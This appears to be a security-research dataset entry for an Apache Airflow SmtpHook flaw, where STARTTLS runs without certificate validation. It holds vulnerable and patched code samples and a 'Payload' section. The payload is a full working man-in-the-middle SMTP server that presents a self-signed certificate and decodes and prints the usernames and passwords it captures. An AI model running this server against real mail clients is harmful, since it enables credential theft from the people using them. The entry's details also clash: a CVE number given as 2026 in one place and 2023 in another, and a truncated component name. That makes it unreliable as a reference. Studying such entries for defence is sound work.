CVE-2026-41016
Airflow SmtpHook lacks TLS cert validation, allowing MitM credential theft.
- CVSS 5.9
- CWE-295
- Cryptographic
- Remote
Apache Airflow's SMTP provider `SmtpHook` called Python's `smtplib.SMTP.starttls()` without an SSL context, so no certificate validation was performed on the TLS upgrade. A man-in-the-middle between the Airflow worker and the SMTP server could present a self-signed certificate, complete the STARTTLS upgrade, and capture the SMTP credentials sent during the subsequent `login()` call. Users are advised to upgrade to the `apache-airflow-providers-smtp` version that contains the fix.
- CWE
- CWE-295
- CVSS base score
- 5.9
- Published
- 2026-04-30
- OWASP
- A02 Cryptographic Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Cryptographic
- Subcategory
- Improper SSL/TLS Certificate Validation
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- apache-airfl
- Fixed by upgrading
- Yes
Solution
Upgrade `apache-airflow-providers-smtp` to version 1.3.0 or later.
Vulnerable code sample
import smtplib
import ssl
# This example represents the logic in the vulnerable version of the SmtpHook.
# It demonstrates connecting to an SMTP server and initiating a TLS upgrade
# without providing a secure SSL context, which prevents certificate validation.
def vulnerable_smtp_connect_and_login(host, port, user, password):
"""
Connects to an SMTP server, starts an insecure TLS session, and logs in.
This function is vulnerable to a Man-in-the-Middle (MITM) attack because
`server.starttls()` is called without an SSL context, meaning the server's
certificate is not validated. An attacker could intercept the connection,
present a self-signed certificate, and capture the credentials sent
during the `server.login()` call.
"""
conn = None
try:
# Establish the initial insecure connection
conn = smtplib.SMTP(host=host, port=port, timeout=30)
conn.set_debuglevel(1) # Show communication for demonstration
# VULNERABLE CALL:
# Initiate TLS upgrade without a context for certificate validation.
# Python's smtplib does not perform hostname checking or certificate
# validation by default in this configuration.
conn.starttls()
print("Attempting to log in over insecure STARTTLS connection...")
# Credentials are sent after the insecure TLS handshake,
# exposing them to the MITM attacker.
conn.login(user, password)
print("Login successful (or appeared to be).")
except Exception as e:
print(f"An error occurred: {e}")
finally:
if conn:
conn.quit()
# Example usage (DO NOT RUN AGAINST A REAL SERVER WITH REAL CREDENTIALS)
# This would be called by the Airflow framework.
# To test this, one would set up a fake SMTP server with a tool like `mitmproxy`
# or a simple Python server that presents a self-signed certificate.
if __name__ == '__main__':
# Replace with details of a local, controlled, fake SMTP server for testing.
# For instance, a server set up with `aiosmtpd` and a self-signed cert.
SMTP_HOST = "localhost"
SMTP_PORT = 1025 # A common port for local test SMTP servers
SMTP_USER = "testuser"
SMTP_PASS = "vulnerable_password_123"
print("--- DEMONSTRATING CVE-2023-41016 (before fix) ---")
vulnerable_smtp_connect_and_login(
host=SMTP_HOST,
port=SMTP_PORT,
user=SMTP_USER,
password=SMTP_PASS,
)Patched code sample
import smtplib
import ssl
def secure_starttls_connection(host, port, username, password):
"""
Demonstrates the fixed, secure way to initiate a STARTTLS connection
by providing an SSL context to smtplib.SMTP.starttls().
The vulnerability was calling starttls() without the 'context' parameter.
"""
# 1. Create a default SSL context. This context enforces certificate
# validation and other secure defaults.
context = ssl.create_default_context()
# The 'with' statement ensures the connection is properly closed.
with smtplib.SMTP(host, port) as server:
# 2. Upgrade the insecure connection to a secure TLS connection.
# Passing the 'context' object is the specific fix. It ensures that
# the server's certificate is validated against the system's
# trusted certificate authorities, preventing a MITM attack.
server.starttls(context=context)
# 3. The login call is now protected by a validated, encrypted session.
# Credentials cannot be intercepted.
server.login(username, password)
# Connection is now secure and authenticated.
# server.sendmail(...) would be called here.
passPayload
import socket
import ssl
import base64
import os
# --- Configuration ---
HOST = '0.0.0.0'
PORT = 587 # Common SMTP submission port that uses STARTTLS
CERT_FILE = 'cert.pem'
KEY_FILE = 'key.pem'
# --- Pre-computation ---
# '334 VXNlcm5hbWU6\r\n' is the base64 encoded 'Username:' prompt
USERNAME_PROMPT = b'334 ' + base64.b64encode(b'Username:') + b'\r\n'
# '334 UGFzc3dvcmQ6\r\n' is the base64 encoded 'Password:' prompt
PASSWORD_PROMPT = b'334 ' + base64.b64encode(b'Password:') + b'\r\n'
def generate_self_signed_cert(cert_path, key_path):
"""Generate self-signed certificate for the MitM server."""
if not os.path.exists(cert_path) or not os.path.exists(key_path):
print(f"[*] Generating self-signed certificate...")
print(f" - Certificate: {cert_path}")
print(f" - Private Key: {key_path}")
os.system(
f'openssl req -new -newkey rsa:2048 -days 365 -nodes -x509 '
f'-keyout {key_path} -out {cert_path} '
f'-subj "/C=US/ST=N/A/L=N/A/O=MitM/OU=Evil Corp/CN=mail.example.com"'
)
print("[+] Certificate generated.")
def handle_client(conn, addr):
"""Handle a single SMTP client connection to capture credentials."""
print(f"[+] Connection from: {addr}")
try:
# 1. Send SMTP Welcome Banner
conn.sendall(b'220 mail.example.com ESMTP FakeSMTPServer\r\n')
# 2. Receive EHLO and respond with STARTTLS capability
data = conn.recv(1024)
if not data.strip().upper().startswith(b'EHLO'):
conn.close()
return
print(f"[C] --> [S]: {data.decode().strip()}")
conn.sendall(b'250-mail.example.com\r\n')
conn.sendall(b'250-PIPELINING\r\n')
conn.sendall(b'250-SIZE 10240000\r\n')
conn.sendall(b'250-VRFY\r\n')
conn.sendall(b'250-ETRN\r\n')
conn.sendall(b'250-STARTTLS\r\n')
conn.sendall(b'250-AUTH LOGIN PLAIN\r\n')
conn.sendall(b'250-ENHANCEDSTATUSCODES\r\n')
conn.sendall(b'250 8BITMIME\r\n')
print(f"[S] --> [C]: Offered STARTTLS")
# 3. Wait for the STARTTLS command
data = conn.recv(1024)
if not data.strip().upper() == b'STARTTLS':
conn.close()
return
print(f"[C] --> [S]: {data.decode().strip()}")
conn.sendall(b'220 2.0.0 Ready to start TLS\r\n')
print(f"[S] --> [C]: Acknowledged STARTTLS. Upgrading to TLS...")
# 4. Wrap the socket with SSL/TLS using our self-signed cert
# The vulnerable client will not validate this certificate.
ssl_conn = ssl.wrap_socket(conn, server_side=True, certfile=CERT_FILE, keyfile=KEY_FILE, ssl_version=ssl.PROTOCOL_TLS)
print("[+] Connection is now encrypted (but unverified by client).")
# 5. Wait for AUTH LOGIN command over the "secure" channel
data = ssl_conn.recv(1024)
print(f"[C] --> [S] (TLS): {data.decode().strip()}")
if not data.strip().upper().startswith(b'AUTH LOGIN'):
ssl_conn.close()
return
# 6. Send username prompt
ssl_conn.sendall(USERNAME_PROMPT)
print(f"[S] --> [C] (TLS): Sent username prompt.")
# 7. Receive and decode username
user_b64 = ssl_conn.recv(1024).strip()
username = base64.b64decode(user_b64).decode()
print("\n" + "="*40)
print(f"[***] CAPTURED USERNAME: {username}")
print("="*40 + "\n")
# 8. Send password prompt
ssl_conn.sendall(PASSWORD_PROMPT)
print(f"[S] --> [C] (TLS): Sent password prompt.")
# 9. Receive and decode password
pass_b64 = ssl_conn.recv(1024).strip()
password = base64.b64decode(pass_b64).decode()
print("="*40)
print(f"[***] CAPTURED PASSWORD: {password}")
print("="*40 + "\n")
# 10. Send fake success message and close
ssl_conn.sendall(b'235 2.7.0 Authentication successful\r\n')
print("[+] Exploit successful. Sent fake auth success to client.")
except (ssl.SSLError, ConnectionResetError, BrokenPipeError) as e:
print(f"[!] Connection error: {e}")
finally:
if 'ssl_conn' in locals():
ssl_conn.close()
else:
conn.close()
print(f"[-] Connection closed for {addr}")
def main():
"""Main function to run the MitM server."""
generate_self_signed_cert(CERT_FILE, KEY_FILE)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(5)
print(f"[*] Malicious SMTP server listening on {HOST}:{PORT}")
print("[*] To trigger, point Airflow's SMTP connection to this server's IP.")
print("[*] Waiting for a vulnerable Airflow worker to connect...")
while True:
conn, addr = server_socket.accept()
handle_client(conn, addr)
if __name__ == '__main__':
main()
Cite this entry
@misc{vaitp:cve202641016,
title = {{Airflow SmtpHook lacks TLS cert validation, allowing MitM credential theft.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-41016},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41016/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
